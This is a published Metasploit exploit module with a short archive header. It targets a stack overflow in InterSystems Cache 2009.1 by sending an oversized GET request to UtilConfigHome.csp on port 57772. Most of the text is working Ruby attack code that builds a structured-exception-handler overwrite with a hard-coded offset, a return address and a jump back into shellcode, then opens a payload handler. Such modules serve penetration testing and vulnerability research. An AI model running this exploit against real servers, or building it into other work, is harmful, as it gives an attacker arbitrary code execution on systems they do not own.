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InterSystems Cache UtilConfigHome.csp Argument Buffer Overflow

InterSystems Cache UtilConfigHome.csp Argument Buffer Overflow
Posted Dec 31, 2009
Authored by MC | Site metasploit.com

This Metasploit module exploits a stack overflow in InterSystems Cache 2009.1. By sending a specially crafted GET request, an attacker may be able to execute arbitrary code.

tags | exploit, overflow, arbitrary
SHA-256 | 988f9f88e5e33fbde5236fcf17ff809a247b6a13a13022ecc22b600d876060d6

InterSystems Cache UtilConfigHome.csp Argument Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'InterSystems Cache UtilConfigHome.csp Argument Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in InterSystems Cache 2009.1.
By sending a specially crafted GET request, an attacker may be able to execute
arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 7724 $',
'References' =>
[
[ 'BID', '37177' ],
[ 'OSVDB', '60549' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 650,
'BadChars' => "\x00\x3a\x26\x3f\x0c\x25\x23\x20\x0a\x0d\x09\x2f\x2b\x2e\x0b\x5c",
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 SP4 English', { 'Offset' => 710, 'Ret' => 0x6ff2791a } ], # libhttpd.dll 2.2.11.0 / pop ebp | pop ebx | ret
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 29 2009')) # Initially...!

register_options( [ Opt::RPORT(57772) ], self.class )

end

def exploit
# offset to the seh frame.
sploit = payload.encoded + rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
# jmp $+6 | p/p/r
sploit << Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
# fall into some nops, jmp back to our final payload.
sploit << make_nops(8) + [0xe9, -700].pack('CV')
# cause the av!
sploit << rand_text_alpha_upper(payload.encoded.length)

print_status("Trying target #{target.name}...")

send_request_raw({
'uri' => '/csp/sys/mgr/UtilConfigHome.csp=' + sploit,
'method' => 'GET',
}, 5)

handler
end
end
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